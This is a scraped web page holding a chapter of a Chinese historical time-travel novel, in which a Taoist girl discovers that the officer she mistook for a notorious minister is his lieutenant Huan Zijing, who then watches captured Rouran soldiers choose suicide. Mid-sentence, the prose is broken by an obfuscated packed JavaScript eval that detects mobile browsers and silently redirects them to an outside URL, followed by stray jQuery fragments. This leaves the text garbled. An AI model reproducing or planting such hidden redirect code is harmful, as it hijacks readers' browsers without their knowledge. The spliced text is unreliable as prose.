默认冷灰
24号文字
方正启体

4. 桓子竞

作者:蘅苏本书字数:K更新时间:
    好一个晴天霹雳。


    瞅着跪在地上的人,羽涅身体硬的像是个石头墩子,脖子僵硬地转过头,看向方才在她心中还是雄才大略的翩翩少年郎校尉,嘴角抽搐两下,差点背过去。


    凡有点学识,谁人不知这西北只有一个统帅。


    至于统帅姓甚名谁,那晚玄铁腰牌上,已然点明其名字。


    羽涅想着那个两个字的人名,顿时心里笑出了声。


    穿越错认反派,还差点借刀杀错人。


    挺好挺好……真有她的。


    这件事好就好在,说危险谁有她险,差点手里多了条人命。


    苍天在上,她哪儿知道会弄这么大一个乌龙。


    她一阵心有余悸,不过转念想想,没错杀人,也算逃过一劫。


    思来想去,她不由心下嘀咕:“这回可真是三清祖师爷显灵,得以侥幸逃脱。”


    同时,她暗自下定决心,以后打扫大殿,再也不会糊弄,不擦烛台和香炉底下的灰。


    知晓了对方乃那个恶名昭著的奸臣桓恂,她没敢再直视对方,悄摸垂下眸,一副柔弱有礼的模样。


    这种人,都不喜欢锋芒毕露的。在这些人面前,最好夹着尾巴把自己藏起来,才为上策。


    回应谢骋的,先是明快的笑声,接着话音才飘出:“谢护卫,在下听说过你的名字。”


    昂然坐在马背上的人声色张扬,尾音清越,和史书上记载的,说话时的音调截然不同。


    并不深沉吓人,反而令人听起来愉悦舒心。


    听此,谢骋微微抬眸,望向马上。


    那人翻身下马,动作潇洒利落,将谢骋扶起。


    言道:“久闻谢护卫骁勇善战,受如此重的伤,还上阵杀敌,当真是为英雄豪杰。”


    谢骋眼底闪过短暂的疑惑,似是有话要问。


    鹤立在他面前的人,扶着他的那只手,稍稍用劲,面上神色未改:“统帅告知我,前来怀远,无论如何定要找到谢护卫,没想到,会在此处与你相见。”


    听他这么一说,羽涅脑海开始混乱起来。


    他不是统帅么?


    怎的又说统帅告知他来找人?


    这到底怎么一回事?


    谢骋听罢,心中已然明了七八分。他气息不稳,一手捂着腹部的伤口,低声询问:“那统帅他……”


    “统帅染疾,正在静养。”那人接过话头,声音压低了几分,“正因如此,柔然细作探得主帅不能即刻赴任,这才敢趁边关无大将,举兵进犯怀远。”


    “多亏了你前几日飞信传书,我们才能及时赶到。”话说到一半,那人轻拍了两下谢骋的臂膀,“之前卧底柔然多日,真是辛苦谢兄了。”


    夜风煽动着一地令人作呕的血腥气,士兵手中高擎的火把被吹得忽明忽暗,偶尔有火星子的炸裂声响起。


    竖起耳朵偷听的羽涅,这才恍然大悟,原来这个校尉,是假扮成桓恂的。


    也瞬间搞懂了谢骋受伤的原因,不出所料,应该是卧底暴露,被柔然人追杀才弄成这样。


    但她心中不禁涌起疑虑,这谢骋有桓恂的腰牌,却没见过桓恂么?


    她沉吟片刻,忽想起,一般情况下,新的将领上任,都会巡边,见见各个地方的官员,方便互认。


    如今桓恂还未正式上任,谢骋说没见过桓恂本人,倒也情有可原,何况腰牌这种,不一定非是本人亲自给予,命其他人代为交给也说不定。


    眼下看来,此种情况的可能性更大。


    倘非这般,虽夜色晦暝,但庭院中火光灼灼,不至于让谢骋误认人。


    “足下溢美之辞,令在下惭愧,刺探敌情乃我职责,担不上‘辛苦’二字。”说完,谢骋面露愧疚之色,歉然道:“新帅还未到西北露面,方才看见甲胄,我想当然以为新帅驾临,没成想会是这样一出结果,还请兄台见谅。”


    言语暂落,谢骋旋即客气问道:“敢问兄台如何称呼?


    ”


    这会子,谢骋像终于想起问对方姓名。


    那人抱拳应道:“在下西护校尉,桓子竞。”


    子竞……羽涅听见此名,不着痕迹打量着,距离她不过三四步距离的人。


    心中不禁评道,倒是个名与实符,有博学之质,又不失锋芒之气的嘉名。


    她就说,一个神采英拔的翩翩少年,怎可能是冷血无情的恶徒。


    兴许是瞧见谢骋面色如纸,伤口崩裂,桓子竞善解人意道:“谢兄身负重伤,还是快些去休息,具体情况,我们明日再说。”


    谢骋点头应答,跟在羽涅他们面前截然不同,无任何反驳之语。


    桓子竞抬手召来名亲兵,沉声吩咐:“好生搀着谢将军,仔细他的伤处。”


    “遵命!”


    盗匪伏诛,柔然人又有北邺官兵看官,无事再需他们担忧,羽涅随即上去帮忙。


    她上前托住谢骋的右臂,欲离开时,她听见一旁的人,对她道:“有劳小道长了。”


    既然他并非桓恂,她对他,自然没有厌恶感。


    笑脸相迎的应着:“校尉大人客气,谢护卫乃我观中客人,又是勇将,照顾他,是应该。”


    “客气谈不上,实话实说而已,”一名士兵抽出廊柱上他的佩刀,小跑着恭敬递到他手中。子竞信手接过那柄犹自滴血的横刀,浑不在意,看都未看,反手将刀收进鞘中,笑着与她说话,“谢兄这伤,怕是要在宝观打扰几日,后续,还需小道长多费心。”


    羽涅虽面上不显,心下却如春风拂过。这人倒是生了张巧嘴,三言两语便说得她通体舒泰。


    世人谁不爱听漂亮话。


    被说的心理舒坦,羽涅嘴角微翘:“小事一桩,说来小道还欠谢护卫一份人情,校尉不用觉得不好意思。”


    防止他听不懂最后几个字,旋即,她又解释:“小道的意思是,校尉不必挂坏。”


    口癖这种事,真非一朝一夕能改。


    哪怕在此地活了十来年,日常她还是会经不住冒些现代用语出来。


    话音方落,羽涅余光扫过谢骋腹部,血色已透过绷带,暗沉沉地洇开一片,伤看起来愈发严重。


    她匆匆客套两句,便说要送人回房,于是转身离去。


    夜风微起,她头顶素色的绊头带子,随着温凉的风飘飖着,轻扫过他手臂处结实厚重的盔甲。


    阿悔琅羲也未站在原地,亦然跟上去照看。


    崔妙常收起手中的长剑,未理会在场的其他人,也随后进入了药房。


    庭院中,瞬息只剩玄策军旗下的千洲铁骑,以及还未投降的几个柔然人。


    天地岑寂,火光映着子竞似笑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805907|175148||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    非笑的侧脸。


    他拇指搭在刀柄上,踱到那几人面前。


    面对敌军,他似是也没保留一个安全距离,打眼看去,双方之间相隔也不过最多两尺。


    “诸位有两个选择。”他语调平淡,音调略顿:


    “一,做我帐下俘虏。”


    “二,是原地为你们的天神,献上你们的命。”


    没有任何攻击性和威胁,他像是好说那样,与他们商量:“是死,还是活?我给你们机会选。”


    柔然小兵相顾失色,手中的震颤一直蔓延到刀尖,冷汗涔涔。


    同伴的尸体就在脚下,喷射而出的迸溅在他们身上的鲜血还未干涸。


    铁锈味混着鼻息冲击着四肢脉络,死亡的味道,入肺蚀心。


    “不……我们誓死不会成为俘虏。”一个矮小的柔然兵盯着玄策军校尉喊道,他打颤的双腿未停止抖动,“柔然人,才不会向你们北邺人投降。”


    其他人很快附和,再次握紧了手中的刀。


    望着他们誓死不从的模样,子竞叹了口气,他看惯了这样的场景,神色既不没有被拒降的愤慨,也并不嘲笑这几个人的自不量力。


    只是问:“自杀,你们会有个全尸,要是现在再挥刀,那就不一定。”


    “我们如何信你这个北邺人?!”


    子竞轻快笑了下:“玄策军一言既出,从不食言,你们应知道。”


    那几人像是下了很大的决心,互相看了看,随后不再犹豫,挥刀而起。


    药房内,崔妙常几人正在为谢骋重新上药,包扎伤口。


    瓶瓶罐罐摆放了一案,羽涅拧着毛巾,不经意看向窗外。


    她只见身着铁甲的校尉,笑意疏朗,跟那几个柔然人说话,看起来像是在劝降。


    哪怕身为既定的赢者,也并不趾高气昂。


    岂料那柔然武士倏然抬刀,直接抹了脖子,太可怕了。


    惊得她手中的毛巾坠入盆中,水花四溅。


    谢骋半卧床头,倒是对这一幕,神情上无任何意外。


    仿佛那几个柔然人,铁定会死在这里。


    羽涅喃喃出声:“他们宁愿自缢都不投降,这又是何苦。”


    活着不好么,干嘛要死。


    许是死过一次,她对性命看的很重。


    谢骋收回目光,重咳嗽一声,言道:“这些是突利军的人,他们特勤有令,降卒亲族,尽诛不赦。”


    听闻有这样的规则,她一脸不可置信:“也就是说,他们没有投降的资格。”


    谢骋未否认。


    “这特勤未免太过凶残,他这样做,还有人替他卖命么?”她无法理解这样的决策。如若这样做,那那些被逼迫上战场的人,要是被捉住,岂不是只有死路一条。


    她并非不知,人道在战场上,不是所有军队都有。


    可当事实出现在眼前,依旧让她觉得心颤。


    她的目光缓缓扫过那些横七竖八的尸体。


    这只是乱世开始前,众多黑暗之中一道并未有任何不同的阴影。


    当真正的乱世席卷而来时,这样的尸骸会堆成山,填满河。


    思及此处,她无意识攥紧手中的毛巾。


    而她能做什么?


    她也不过是,意外混入这段历史洪流中的一粒沙。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)